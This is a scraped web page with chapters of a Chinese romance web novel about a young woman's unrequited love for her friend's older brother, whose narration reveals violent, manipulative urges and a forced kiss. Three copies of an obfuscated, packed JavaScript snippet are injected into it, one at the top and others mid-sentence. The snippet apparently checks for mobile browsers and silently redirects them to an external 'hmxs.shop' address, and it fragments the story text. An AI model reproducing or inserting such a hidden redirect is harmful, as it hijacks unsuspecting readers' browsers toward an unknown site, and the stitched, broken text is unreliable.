;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16560506|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手合十,祈祷地看着她,“我能不能像你一样喊哥哥?嘉年哥……三个字,太长了嘛……” “你直接叫就可以了,干吗问我?”方嘉岁不明白这有什么好问的。 “那我总得先征求你的同意嘛。” 得到允许的虞听开心地捂住嘴,就像只找到松果的小松鼠一样笑了。 当她第一次尝试着叫出哥哥时,方嘉年的反应很平淡,仿佛他并未发觉称呼变了一样,就像平时对方嘉岁那样,他很自然地回应了那声哥哥。 毫不夸张地讲,那一刻,方嘉岁甚至怀疑虞听会快乐地蹦起来。 方嘉岁其实一直都分不清,虞听对方嘉年的这种盲目崇拜,究竟是源于作为独生女的她,真的很想拥有一个哥哥,还是因为她喜欢方嘉年。 仰慕与喜欢之间的界限如此模糊,她很难严格区分这二者,直到那个夜晚—— “你喝醉了,方嘉年把你带回来,你嘴里一直嚷着喜欢他,不是妹妹对哥哥的喜欢,是想亲他、抱他的那种喜欢,还让方嘉年做你男朋友。” 方嘉岁回忆起那个混乱的夜晚,一脸不忍直视:“我就是想装不知道也做不到啊……” “行了,你不要再说了……” 虞听痛苦地捂住脸打断了她。 在暗恋对象和多年闺蜜面前同时社死是一种怎样的体验? 可以说是生不如死,想重新回去投胎…… 真相揭开后,细究起来,一切都是有迹可循的。 比如方嘉岁在得知她有喜欢的人后,却闭口不问对方是谁;比如她一门心思地给她介绍约会对象;再比如她频繁将高山和方嘉年进行对比。 她自以为在好友面前瞒得严严实实,却不料自己的底牌早被人家看光了。 可眼下,虞听还有另一件亟需知道的事情。 “嘉年哥……”虞听紧张地握紧了杯子,喉咙干涩,每往外吐一个字,都像在吞刀子,“他……他是怎么说的?” 像是想起了什么,方嘉岁一脸气愤:“他让我当没听见,也让我别告诉你。” 是……是吗? 原来是他让方嘉岁假装不知道的啊。 那天早晨,她宿醉醒来,和他在客厅的对话骤然回荡在耳边—— “嘉年哥,昨天……我有说什么话吗?” “什么话?” “不知道……就是平时我不会说的那些话?” “嗯……什么也没说。” 这个人,是真的不喜欢自己啊。 脑海中逐渐升起这个早该明确的想法。 明明不喜欢,却收到了这么多年一直当妹妹看的人的告白,甚至还在酒后强行吻了他,内心一定很反感吧,可是第二天为了照顾她的自尊,还要假装无事发生,像从前一样对待她。 这就是方嘉年,善良到令人讨厌。 眼前一片朦胧,眼泪在毫无知觉的时候自己掉了下来。 甜品店周遭的一切都成了模糊的重影,看不清晰的世界里,方嘉岁一把抓住了她的手。 “你……你别哭啊……”好友的声音慌乱得结结巴巴。 方嘉岁读小学时就认识了虞听,但两人真正成为朋友却是在五年级,她们在老师的安排下成了同桌。 方嘉岁从小就是个酷女孩,脑子里除了那堆动画片,压根不与人交往。然而与虞听成为同桌的第一天,她看见虞听偷偷在数学课上画小人。 她画的是《魔卡少女樱》。 方嘉岁一直很喜欢这部动漫,见她寥寥几笔就勾勒出里面的主要角色,虽然线条稚嫩,但与同龄孩子的画比较起来,人物轮廓有模有样,就连五官也很有神韵。 方嘉岁在那天就决定与她成为朋友。 虞听性子绵软温吞,一看就是那种从小什么也不缺,浸泡在爱里的女孩。 小时候,她因为长得胖,班上有男生拿她的体型开玩笑,喊她小胖子。一般人要么忍气吞声,要么上前干架。可虞听却不,她泪眼汪汪地同男生讲道理:“我爸爸妈妈说给人取绰号是很不好的事,你给我道歉。” 她爸妈将她养得很好,虞听天性乐观,从小到大都没有什么烦恼。方嘉岁也从未见过她大哭,可此刻她却在人满为患的甜品店里,无视所有人投来的视线,哭得泪流满面,不能自已。 方嘉岁突然特别讨厌起哥哥方嘉年来。 她慌张地抽了纸巾给虞听擦眼泪,一边笨拙地安慰她:“别哭了,方嘉年什么也不是,他根本不值得你喜欢!你那么好,多的是人珍惜你,高山你不喜欢吗?我给你介绍别的男生……” 虞听哭得肝肠寸断,打湿了好几张面巾纸,摇头哽咽:“现在……现在不喜欢了……” 以前都是自欺欺人,可直到此时此刻,她才坚定地确信,自己再也不要喜欢方嘉年了。 11. 单相思11 方嘉年这一晚忙得不可开交。 急诊室送来一个身中数刀的患者,腹腔大规模出血。为了避免患者在送去手术室之前失血而死,他只能跪在急救床上按压住出血部位。这之后又来了一个脑溢血患者,一个即将分娩的孕妇。 要说急诊一定是医院最忙最累的科室,最怕的就是像这样,忙的时候赶着趟来,压根没有喘息的工夫。 等到终于可以消停一会儿,方嘉年坐在靠近分诊台的休息区长椅上,靠着墙壁揉捏鼻梁,闭目缓解酸胀的眼球。 接连熬了两个夜班,他已经将近二十四个小时没睡觉了,中途只短暂地去医院宿舍眯了一会儿,但也没真正睡着,他的失眠症由来已久。 正闭目养神,额头上贴了一个冰冷的东西。 “补充点糖分吧,看你这一脸快要猝死的模样。” 睁开眼,江诗逸手里拿着两杯咖啡看着他。 方嘉年接过自己的那杯,打开喝了一口。 咖啡因的摄入让混沌的大脑终于恢复了些许清醒。 “精神科这么闲的吗?还有空下来送咖啡。” 江诗逸在他旁边坐下,嘲笑道:“是啊,羡慕吗?谁让你当初选了外科。不过现在回头是岸也还来得及,我们苏教授特别看好你,改天要不要上13楼去看看?” 13楼是附医精神卫生科的所在地。 方嘉年笑了下,敬谢不敏:“还是算了吧,不去当你们的小白鼠。” “哎呀,”江诗逸不赞同道,“你也是搞科研的,研究样本怎么能叫小白鼠呢?再说了,也不是白叫你去,咱们苏教授妙手回春,经手过多少患者。你最近失眠症状又加重了吧,看你这黑眼圈重的,让苏教授和你面谈一下,说不定就治好你了。” 方嘉年笑笑没说话。 江诗逸和他是本科同班同学,只是在研究生时选择了心理学作为研究方向。兴许是学心理的人都特别敏锐吧,她不知怎么就看出了方嘉年存在心理问题,以做论文课题为由哄着他帮忙填写了一套心理测试量表,最后测出他有严重的抑郁倾向,压力自测量表的分数也远超了标准值。 这之后她就像猫见了老鼠一样盯上方嘉年了,总试图劝他去精神科看看,接受更专业的诊断。 方嘉年并不认为自己有抑郁症,只是江诗逸是同学,又在同一家医院规培,有些时候避也避不开。 手机振动,收到一条消息,他拿出来查看,是酒馆兼职生阿杰发来的一张照片。 江诗逸凑过来一看,惊讶出声:“咦,这不是你妹妹吗?她这是怎么了,醉了?” 照片里的女孩趴在桌上,脸色酡红,旁边还有几只酒瓶,一看就是喝醉了。 江诗逸:“话说你上次有好好送她回家吗?” 方嘉年按灭手机,投来微妙的一眼:“你为什么关心这些?” 江诗逸摸摸鼻子:“小姑娘挺可爱的,而且和她在一起的时候,你比较有活人感。” 方嘉年没搭理这话,起身走去长廊尽头打电话。 “喂?” “你给她喝的酒?” 电话一接通,方嘉年就开门见山地质问。 那边的阿杰感到十分委屈:“她是客人,我们这是酒馆,她指明了要酒,我们也拿她没办法呀。” 通话里陷入短暂的沉默,只有电流的杂音。 阿杰小心翼翼问:“哥,那是你妹妹对吧?上回只来过一次,我就记住了。” 方嘉年嗯了一声,低沉道:“看着她一点,酒也别给了,我马上到。” 挂了电话,他找到一位之前欠过他人情的同事替他代班,然后拿上车钥匙到地下停车场,开车前往酒馆。 *** 狗东西,人渣,败类。 虞听口齿不清地咕哝着骂人的话,一边扬手喊服务生上酒。 喊了半天也没人应,只有一个年轻男生过来跟她说:“不好意思,小姐,我们店里没酒了。” 这像话吗?没酒开什么酒馆? “但是可以给你上杯冰柠檬水。” 十一月末的天气,冰水灌进肚子里,冻得她一激灵,但却有效缓解了酒后的燥热。 她不受控制地再度想起了方嘉年。 狗东西,人渣,败类。 这些骂人的词汇不停在口中盘旋,她现在的状态完美诠释了什么叫“脱粉回踩”,当初有多爱,现在就有多恨。 是醉得太狠都出现幻觉了么?当她偶然抬头,竟然看见了方嘉年。 酒馆内光线昏暗,暖黄色的吊灯光芒倾泻在他的头顶,立体深邃的五官投下淡淡的阴影,这光影感绝佳,实在适合用来画一副人体素描作品。 虞听睁着迷蒙的醉眼去瞧,终于确认这不是她的幻觉,眼前站着的是真真切切的方嘉年。 “怎……怎么在这儿?” 酒精的过度摄入让舌头麻痹,本来是正常发声,却因舌头不听自己的指挥,口齿笨拙得像个牙牙学语的孩童。 那人一语不发,只是皱眉盯着她缠着纱布的手:“手怎么受伤的?” “削……削笔的时候……” “又被美工刀割到手了?”他沉声打断,眉头皱得愈紧,“都让你改用卷笔刀了,在某些事上总是有种奇异的固执。” 严厉的语气有种指责孩子不听话的意味。 虞听下意识就要解释,卷笔刀削出来的笔尖太圆了,没有一点棱角,这样画出来的线条也没有棱角,而且用自己削的铅笔作画才有灵魂啊。 话都到嘴边了,突然猛地反应过来,不对,自己怎么被他反客为主了。 “要……要你管,”虞听凶巴巴地瞪他,浑然不知这副样子在别人眼里毫无威慑味道,“你还没回答我,你怎么……在这儿?” 方嘉年叹了声气:“这是我的店。” 他……他开的店? 怎么可能? 虞听一脸不信:“别……别骗我,哥哥以前不是在这打工的嘛。” 一个打工仔怎么升级成老板的? 终于肯叫一声哥哥了。 方嘉年的脸色也缓和了几分,声音恢复了过往的温柔:“没骗你,老板之前要转让酒馆,我手里恰好有点钱,就买下来了。” 这家位处大学城的酒馆地理位置绝佳,因为靠近大学,所以客源不用愁,短短几年就替他挣了不少钱,是他主要的收入来源之一。 虞听呆呆地看着他。 她再度意识到了自己和方嘉年之间的差距。在她还只知道往家里伸手要生活费的时候,方嘉年已经开始独立自主地赚钱了,甚至成了一间酒馆的老板。 当初他在这家酒馆打工当服务生时,她还拖着方嘉岁跑来看过。 那时两人刚上高中,一放学就过来了,肩上还背着书包。 当虞听大着胆子想偷偷混进去的时候,一双大手从天而降,将她连人带书包地拎了起来。 虞听抬头一看,就看到了淡淡笑着的方嘉年。 虽然时间过去很久了,但虞听依然记得当时那种喜悦漫上心头的感觉。 那时方嘉年在上大学,不怎么回家,他们已经很久没见过了。 虞听赖着想进去酒馆看一看,其实主要是想看看他做服务生的样子。 但方嘉年以酒馆不招待未成年为由,愣是将她拒绝了。 他穿着酒馆统一的服务生制服,简单的白衬衫却勾勒出他优越的体型,肩宽腰窄,双腿无限长,就这么在外面短暂说话的工夫,虞听注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“对不起,嘉年哥,真的很对不起。”虞听自嘲地苦笑,“这阵子因为我很困扰吧?当成妹妹看的人突然不要脸皮地说喜欢你,还酒后强吻了你。第二天还得装作不知情,继续跟她正常相处,这要是换了我,该有多膈应啊……” 不顾眼前人难看至极的脸色,僵硬的舌头神奇地恢复了正常,藏在心底的话就像竹筒倒豆子一样倾泻而出。 “可是哥,我其实也挺冤枉的,我喝了酒意识不清醒嘛,把我推开就是了,再不行打我一巴掌也行,哥哥又没喝酒,为什么要亲上来呢?所以哥哥也有错,这个你也承认吧……” 虞听打了个酒嗝,心底有什么东西碎开的声音,她摇摇晃晃地从椅子上下来,眼底有一闪即逝的水光。 “不过哥,别担心,以后再也不会让你困扰了,我不会再出现在哥哥眼前了……” 天旋地转,双脚就好像踩在云端一样,轻飘飘的落不到实地。 虞听跌跌撞撞地向门口走去,在经过方嘉年时,手臂蓦地被一只手掌握住了。 “你要去哪里?” 就像被烧热的铁钳禁锢住一样,那只抓着她手臂的大掌灼热、用力,虞听甚至怀疑自己的骨头会因此一寸寸地捏碎掉。 “放开。” 从嘴里流露出来的,是从未对他说过的冷漠语气。 抓着她的手依然没有松开。 虞听深吸一口气,回头道:“我不想讨厌哥哥,所以放开吧。” 那只怎么掰也掰不开的大手,在听到这句话后,就这么简单地松开了。 虞听面无表情,与他擦肩而过。 卷一《Secretlove》End 12. 火葬场01 “学长,这个……” 系着粉红缎带的礼盒被递了过来。 低头看着专业书籍的方嘉年抬起脖颈,脸颊涨红的陌生女孩就进入视野。 他习惯性地拿出对待陌生人的笑容,眼神中带着几分恰到好处的茫然:“嗯?这是什么?” 女孩的脸果然涨得更红了几分,连眼睛也不敢看他,低着头四处乱瞟,小声嗫嚅:“是我做的饼干,学长要是学习累了,可以……可以吃一点。” 礼盒上有一层透明的盒盖,可以清晰地看见下面整齐排列的黄油曲奇,每一只都大小适中,奶黄的颜色似乎在证明着它们会有多好吃。 方嘉年只稍微垂眸扫了一眼,拿着笔的手轻轻敲了下书本,再看向女生时,唇边带着友好又温和的微笑。 “谢谢你,我会好好吃的。” “不……不客气!” 女生受宠若惊得就像被王子突然搭话的街边乞丐,既兴奋又紧张,说话也磕磕巴巴起来:“那……那学长先忙,我先回去了,明……明天见!” 说完她便抱起自己的书本文具急匆匆走出了自习室,不远处还能看见她和等她的同伴激动地比划着什么的样子。 方嘉年淡淡收回视线,脑海里却在想:什么明天见?他和这女生不是第一次见吗? 他不知道女生已经连续和他在自习室坐了半个多月的相邻座位,而且他曾经还找人家借过一支笔。 明天不能再来这间自习室了。 走出图书馆的他毫无留恋地将那盒曲奇扔进垃圾桶,随后从烟盒中抽出一根烟,叼在嘴里点燃。 “学霸,图书馆前面不能抽烟不知道啊?” 一只手突然隔空伸出,抽走了他还没来得及吸几口的香烟。 方嘉年看向抢走烟的人,示意她去看墙上的标志:“这里是吸烟区。” “那你也少抽些吧,”女生自顾自地说教起来,“好歹是医学生,难道不知道尼古丁对人体的损害有多大吗?小心以后老了得肺癌。” 方嘉年皱眉,一股戾气在心底油然滋生,想对眼前喋喋不休的女人问你是我的谁?凭什么多管闲事。 理智与情感在脑内做着激烈斗争。 女生不是仅有一面之缘的陌生人,而是每天低头不见抬头见的同学江诗逸。 权衡之下,理智最终战胜了冲动,心底的戾气被强行压制。 他微微一笑:“嗯,你说得对。” 方才还针对吸烟问题说个没完的江诗逸突然停下来,盯着他道:“你又在假笑了。” 方嘉年:“……” 江诗逸:“真的不打算来精神科看看吗?” 迄今为止,方嘉年的人生都很顺遂。 家境富裕,父母开明,还有个虽然不太听话但也算可爱的妹妹。在学校的他名列前茅,是老师同学信任的模范生,人缘也不用太费心,只要笑一笑,在聊天时适当地插一两句话,身边就会自动围聚一帮人。 外人眼中的他礼貌,温和,是完美的天之骄子。 只有方嘉年自己才知道,他的内心有多么阴暗,狂躁,暴戾。 在教室上课时,他看着讲台上挥汗如雨卖力传授知识的老师,貌似是在认真听课,心底却在期盼此刻来场地震,地动山摇之际,所有人都被埋进地底粉身碎骨,世界坍塌成一片废墟。 他对一切都感到无聊且乏味,却又不得不戴着优等生的面具生活。 就像冰川之下的海底,他的心底深藏着经年都难以平息的戾气,海平面却始终一片平静。 为了掩盖这股暴戾,他抽烟,文身,给身体穿孔,耳机里常年播放着刺耳的摇滚乐。 每当有女生被他所吸引,向他告白时,无论是她们直白的话语还是羞涩的表情,总是千篇一律。 方嘉年有时真的很想问—— 你们喜欢我什么呢?你们真的了解我么?如果知道真正的我是什么样的,还会喜欢我吗? 他曾经以为没有人会发现面具下的自己,却没想到自己性格的缺陷会被一纸玩笑似的心理测验所揭破。 江诗逸的穷追不舍令他感到厌烦,有时会生出杀了这聒噪女人的冲动,他甚至为此列了周密的计划,但一如既往地,理性占据了上风。 告别江诗逸,他去了校门外的后街,本打算去酒馆看看,却没想到在那里见到了有趣的场景。 大学城附近的街道上,商铺众多,各色灯箱林立,霓虹闪烁。 虞听深一脚浅一脚地走入一条暗巷,走路就像初生的企鹅一样摇摆,两颊飘着两朵红晕,看来是喝醉了。 这大概是小家伙第一次喝酒。 看着那摇摇晃晃的走路姿势,他忍不住笑了。 方嘉年第一次见虞听是在自家的客厅,她作为妹妹的同学被邀请来家里做客。 方嘉岁那小鬼脾气孤僻古怪,脑子里除了动画片什么也没有,她居然能在班上交到朋友,还带回家来做客? 好奇——这是他对虞听产生的第一个念头。 他好奇是什么样的人能跟妹妹做朋友,所以进来时,特意朝她打量了两眼。 没有什么特别的,虞听跟一般的小学生没有什么不同,穿着小学校服,胸前系着红领巾,还戴着一副大大的眼镜,几乎遮住了她大半张脸。 若非要说有什么特别的—— 她的坐姿格外乖巧。 脊背挺得直直的,双手规矩地搭在膝盖上,像在开少先队员大会,随时等着老师检阅。 放在腿上的两只小手胖乎乎的,手指头短而圆润,指甲盖却修剪得很干净。 当看向他时,她紧张地直咽唾沫,藏在镜片后的眼珠像黑豆一样,滴溜溜地转。 难道他长得很吓人吗? 方嘉年生平第一次生出这样的怀疑。 除去好奇,也就不剩什么了。 他对妹妹的朋友并不感兴趣,只是像个温柔好相处的大哥哥那样,挂上惯常的微笑,给了两人零花钱去买冰激凌。 可是后来,他却发现了虞听的不同之处。 这孩子,貌似特别喜欢他。 她看向他的眼神总是亮晶晶的,就像渴望主人抚摸的小狗一样。无论自己在做什么,只要一回头,总能与她对上视线,这时只要向她笑一下,她就会飞快扭过脑袋,可藏在头发下的耳朵尖却红红的。 方嘉年当然不会觉得自己的吸引力对孩子都起作用,虽然不知道虞听对他的喜欢从何而来,但奇怪的是,并不感觉有负担。 兴许是因为她年纪小,是比他小六岁的孩子;也或许是虞听的喜欢并不像那些追捧他的女生一样,带着很强的目的性,需要换取他的回应。 她的喜欢是无害的,是在某个角落里偷偷地观察他,就像初生的小狗观察人类一样。 于是他也像宠爱小狗一样,时不时给出一些回应。 比如在谁都没起床的清晨带她去便利店买零食。 孩子吃饭很香,但走路走得不是很好,经常摔跤。第一次带着她去便利店时,她就摔了一大跤,把额头都给摔肿了。 “小心点,”他将人扶起来,皱眉问,“腿不好吗?” 只是出于关心才问出的一句话,并没有其他的含义,如果经常走路摔跤的话,该去医院看看了。 可虞听捂着额头上摔出来的那个包,疼得眼泪汪汪,也不忘跟他解释:“不……不是的,只是平衡感不好……” 他毫无感情地“啊”了一声,笑着问:“那要牵着走吗?” 虞听的脸迅速涨红了。 “不要?”他故意曲解她的意思,自顾自点头,“也是,你也不是小到需要牵着走路的年纪,估计会觉得丢人吧……” 正要站起身,身后却响起急匆匆的一句话。 “要……要的!” 一只小手迫不及待地钻入他的掌心,像是生怕他丢下她离开那样,像藤蔓一般紧紧地攥着他的手掌。 “最近连小学生也要牵着手过马路呢,我……我虽然不小了,但也不大,谢……谢谢……” 是怕他觉得麻烦吗?她毫无必要地解释着她这样做的理由,语无伦次的样子看着让人有点想笑。 “嗯。” 方嘉年轻轻应了一声,抓住那只温热的小手。 他并不是喜欢照顾人的类型,但对于这个孩子,奇异地不讨厌。 虞听是个十足的吃货,不像方嘉岁有着令人头痛的挑食习惯。每当看着她毫不挑剔地吃着他买来的食物时,方嘉年心中总会升起一股诡异的满足感。 难道那些养宠人喂养自己的宠物时也是这样的感觉吗?总算明白了网上一个无聊的小狗进食视频为什么可以上热门了。 看别人吃东西,的确是一件会令人感到愉悦的事。 “哥哥,你会不会觉得我吃太多?” 可是某一天,无忧无虑吃着东西的孩子突然停下了进食,问了他这样一个问题。 正托腮津津有味地盯着她吃东西的方嘉年皱起眉头,有种好心情被打扰的不悦:“怎么了?谁跟你说什么了?” “没……没有,就是……我好像有点胖?” 她苦恼地揪着脸颊上的肉,懵懂望过来的眼神里,有种颤抖的不安。 是害怕他说她胖吗? 不知道为什么会有这种毫无根据的担心,在方嘉年眼里的孩子与胖这个字眼毫无关联,虽然她是圆乎乎的,好像没有棱角,但刚出生的小狗不都这样么?只是还没长开而已。 他修正了过于低沉的语气,平直的唇角微微翘起,用比往常还要柔 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——我不是你世界里的救世主吗?只要听我的、看着我就可以了,为什么要因为别人的一句话受影响? 当然要解决这件事的话并不难。 只要将那小崽子拎出来,吓唬几句,他不敢不听话。 叫不出名字的小崽子哭得满脸鼻涕眼泪,明明没有对他动手,他却吓得好像要被拉去屠宰场的牛犊一样瑟瑟发抖。 “把胃口好的孩子弄得饭都不敢吃了,你还有脸哭吗?” 方嘉年像个和后辈亲近的学长一样,夹着烟的手指拍了拍他的脸,语气温和:“去道歉吧,然后离虞听远一点。下次她要是少吃一口饭,哥又得找你谈心了,知道吧?” “……” 男生哭哭啼啼地跑远了。 方嘉年站在原地继续抽烟,白色烟雾萦绕盘旋,模糊了他的视线。 随着相处的时间越长,虞听看他的眼神也越来越炙热,掺着盲目的迷恋与崇拜。 方嘉年不仅不反感,反而非常享受她看向自己的眼神,那种“万物都消失隐匿,我只看得见你”的沉迷与专注,甚至让他开始上瘾。 为了获取这种眼神,他刻意地去对虞听好,说话要温柔,眼神要和善,伪装了二十多年平易近人的人设,这对他而言简直信手拈来。 有的时候就连他自己都分辨不清,他对虞听的好究竟是装出来的,还是入戏太深成了真。 虞听的成绩一直不算好,在班级里吊车尾的程度。反正是艺术生,父母对她要求也不高,她也从不在意成绩好坏。 可高三那一年,她突然一改懒散状态,开始拼命学习了起来。 别人问她原因,她说她要考临江大学。 方嘉年听说了这件事,问她:“为什么?对于美术生来说,考美院不是更好吗?” 临江大学虽然也有美术系,但它是一所综合性大学,美术并不是王牌专业,若要寻求更好的发展,艺术类院校更适合她。 虞听那天支支吾吾,找了许多乱七八糟的理由。 比如什么临江大学虽然专业性不强,但好歹是全国排名top1的重点高校,名头更加响亮;比如临江大学的美术学院有她喜欢的一名教授,她对人家仰慕已久…… 方嘉年微笑着看她东拉西扯,心底却在想:承认吧,你就是为我而来的。 一种异样的感觉从心底升起,迅速膨胀,那好像是大脑多巴胺分泌过旺,带来了极致的愉悦与兴奋。 人可以因为他人满足到这样的程度么?他在身体极度陌生的情形下甚至生出恐慌。 回过神来的他终于发现,他已经在虞听身上花费了太多的精力,远超他的预期。 为了抑制住这种不正常的感情,他开始避免和虞听碰面,大学繁重的学业和忙碌的兼职工作成了他绝佳的理由,他甚至都不用说谎,用一句没有时间就可以轻松打发。 可当他久违地见到来家里做客的虞听时,她的眼睛不再像从前那么明亮了,黯淡的眼神里隐藏着对他的埋怨与思念,就像主人出了趟远门,被长期遗落在家里的小狗。 潜藏在身体里的兴奋因子又开始躁动,方嘉年故意回头与她对视,笑问:“为什么总是看我?” 就像小时候那样,她迅速撇过头去,耳朵尖飞快变红,就连脸颊也染上了绯红。 过了片刻,她忿忿不平地控诉:“才没有看!我只是在发呆,哥哥太自恋了!” 方嘉年忍不住扑哧笑出了声。 不同于戴上面具的假笑,这是真心实意的笑容。 他在那一瞬间明白了。 世间一切都无聊透顶,唯独虞听是有趣的存在。 13. 火葬场02 他隐藏在暗处,看了虞听很久。 直到虞听一脚踩空,快要摔倒在电线杆旁边的垃圾堆上时,他才从黑暗中出现,一把拽住了她。 “嘉……嘉年哥?” 受到惊吓的她很快认出了他,因为喝了酒,发音显得有点可笑。 醉成这样了还能认出他,该说高兴还是无语呢? 方嘉年并不喜欢喝酒的人。 无论是难闻的酒味,还是醉醺醺的语气和神态,还有酒后发疯做出的一些出格举动,都令他不喜。 但他并不讨厌喝醉酒的虞听。 是因为她身上并没有臭气熏天的酒味么?虞听总是带着好闻的味道,介于花香与沐浴露的味道之间,喝了酒的她也不难闻,只带着一点淡淡的麦芽香气。 反而因为酒后体温升高,她的两颊蒸腾着两团薄红,眼眸含着湿漉漉的水汽。 一个暑假不见,她瘦了许多,原来的婴儿肥消失不见了,一张小脸精致立体,穿着短袖和百褶裙的她在这静谧午夜就像一朵亭亭玉立的幽昙。 但他还是低估了虞听酒醉的程度。 “嘉年哥,我们谈恋爱吧!” 当这句话被她以刺破耳膜的分贝振聋发聩地喊出来时,方嘉年怀疑这是不是一场恶作剧。 当然虞听很快向他证明了,这并不是恶作剧。 温热的唇覆上来时,方嘉年的头脑一片空白。 让人头皮发麻的兴奋感从下而上升起,贯穿全身,甚至比上回听到虞听要考临江大学时还要刺激。冲动第一次战胜了理智,身体几乎是瞬间就有了反应,简直荒谬到令人发笑的地步。 出于某种自己都不知道的原因,他下意识将舔着他嘴唇的女孩推开了。 虞听被推得撞到墙上,吃痛得皱眉。 还不等她反应过来,方嘉年如野兽一般冲了上去,发疯般地啃咬她的双唇,就像饿了百年的饿鬼,他吞吃着她的全部。 呼吸被尽数夺取,虞听开始难受地挣扎,双手去推他的胸膛,却被他反捏住那纤细的手腕,越过头顶抵在墙上。 她被夹在墙壁和他的怀抱之间,几乎要窒息。 这是方嘉年第一次不顾理智的阻挠,完完全全释放出心底的恶意。这一刻他不再是品学兼优的模范生方嘉年,而是更接近于真实的自己。 他就是如此贪婪,暴烈,野蛮,恨不得摧毁一切,包括怀中的这个女孩。 当虞听翻着白眼快要晕厥过去时,这个漫长的吻才终于迎来了停歇。 她完全腿软了,在他怀里融化成一摊水。 方嘉年低头一口一口给她渡着空气,抵着她的额头,呼吸粗重地问:“喜欢我什么?” 他的眼睛在黑夜里也亮如星辰,真的像一头狩猎中的食肉野兽。 他的猎物虚弱地倒在他的手臂上,美丽单薄的身体还在不停地颤抖,因为先前的缺氧,胸膛剧烈地上下起伏。 她气喘吁吁地说:“喜欢……喜欢哥哥的温柔。” 方嘉年炙热到快要沸腾的血液,突然就这么冷却了。 被带回家的虞听口中依然嘟囔着喜欢他的话语,就像这一桩秘密在心底偷偷藏了多年,终于有得见天日的机会,于是怎么也塞不回去了。 到了第二天,她还会记得自己说过的话吗? 旁听的方嘉岁一把捂住好友的嘴,省得她再继续丢人。 而方嘉年若无其事地替醉酒的人掖好被子,就好像那告白的对象不是他。 出房门前,他叮嘱妹妹:“如果她明天问起的话,就说你什么也没听见。” “……你什么意思?”方嘉岁质问的声音自背后传来,“让我装什么都不知道吗?虞听说喜欢你,哥哥也要装作不知道吗?” 方嘉年淡淡回头:“喝醉酒的人说的话当不了真。” 方嘉岁咬着牙忍了又忍,终究是没忍住火气:“说的什么鬼话!看见你就两眼发光的人,哥哥真的看不出来她喜欢你?还是看出来了也假装不知道?虽然早就知道哥哥是人渣,但你可不能这样对虞听!她是个心思简单、眼里只有你的人,如果让她知道你这样对待她,哥哥以后一定会后悔的!” 妹妹的诅咒刺耳又大声,裹挟着浓浓的怒火,方嘉年烦躁之下不予理会,甩手关上房门。 靠在门上的他缓缓平息着心中那股狂躁,虞听羞涩又甜蜜的告白却回荡在耳边。 ——“喜欢……喜欢哥哥的温柔。” “哈。” 他短促地发出一声气音,双手用力揉了揉脸。 如果虞听想要的话,什么都可以给她。 喜欢他的脸,就把脸皮撕下来给她。 喜欢他的钱,就把全部的财产给她。 他明明拥有这么多的东西,可她偏偏却说喜欢他的温柔,那是浑身上下他唯一缺少的东西。 温柔是他伪装出来的人设,是他戴了这么多年的面具,真实的他阴暗,自私,毫无同理心,就像沼泽地里爬行的虫子,与那些明亮、温暖的特质没有丝毫关系。 她喜欢的只是戴上面具的他。 如果要继续维持那份喜欢,就要戴一辈子的面具。 光是这么一想,藏在身体深处的疲惫就这么涌了上来。 ……太累了。 到头来,她跟那些向他告白的女孩子们也没有区别,令人厌烦。 她想从他这里得到什么呢?又对他怀着什么样的期望呢? 无论她想要什么,方嘉年都注定满足不了她,因为他本性卑劣。 失望到极致时,他甚至对虞听产生了埋怨,怪她酒醉之下的冲动告白,毁了他唯一的乐趣所在。 现在开始要保持距离了。 *** 第二天醒来的虞听果然不记得昨晚的事,只以为自己做了一场梦。 “昨天……我有说什么话吗?“ 好不容易才憋出来这句话,她连看向他的瞳孔都在晃动。 是在不安,还是在期待呢? “嗯……”方嘉年特意延长了思考的时间,然后在她紧张的目光下,笑着撒谎,“什么也没说啊。” 虞听明显松了口气,但那渐渐松懈下来的眼神里,却暗藏着一点失落的情绪,默默扒饭往嘴里咽时,表情看上去像要哭了一样。 事实证明,虞听还是那个虞听,会因为他的一句话欢天喜地,也会因为他的一句话而坠入地狱。 从昨晚开始就糟糕的心情因此得到了一些安慰。 “这是一周的量。” 装在袋子里的白色药片被递了过来。 方嘉年伸手接过,塞进口袋里,颔首致谢:“谢谢。” 江诗逸小心打量着他的脸色,不知第几次劝诫道:“你还是趁早去医院看看吧,这样下去产生药物依赖了怎么办?最近又擅自加药量了对不对,上次拿的药明明能吃半个月的,现在只够你吃一周了。” 从她这里拿处方药的后果就是要听她的唠叨,方嘉年已经习惯了,脸上依旧保持着彬彬有礼的微笑:“嗯,不会的,多谢你的关心。” “……” 看了他半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16571632|186945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天,江诗逸狐疑道:“我怎么感觉你的病情又加重了。” 看来学心理的人都有点神神叨叨的,方嘉年真想对她说,对别人怀有过度的救赎情结,也是一种心理疾病。 他继续维持弧度完美的微笑,背后却传来风吹草动。 回头一瞧,抓住了只鬼鬼祟祟的小狗。 似乎是没预料到他会回头,她惊得瞪圆了双眸,仔细看的话,表情略微有些不对。 除了惊吓之外,还有一点……伤心? 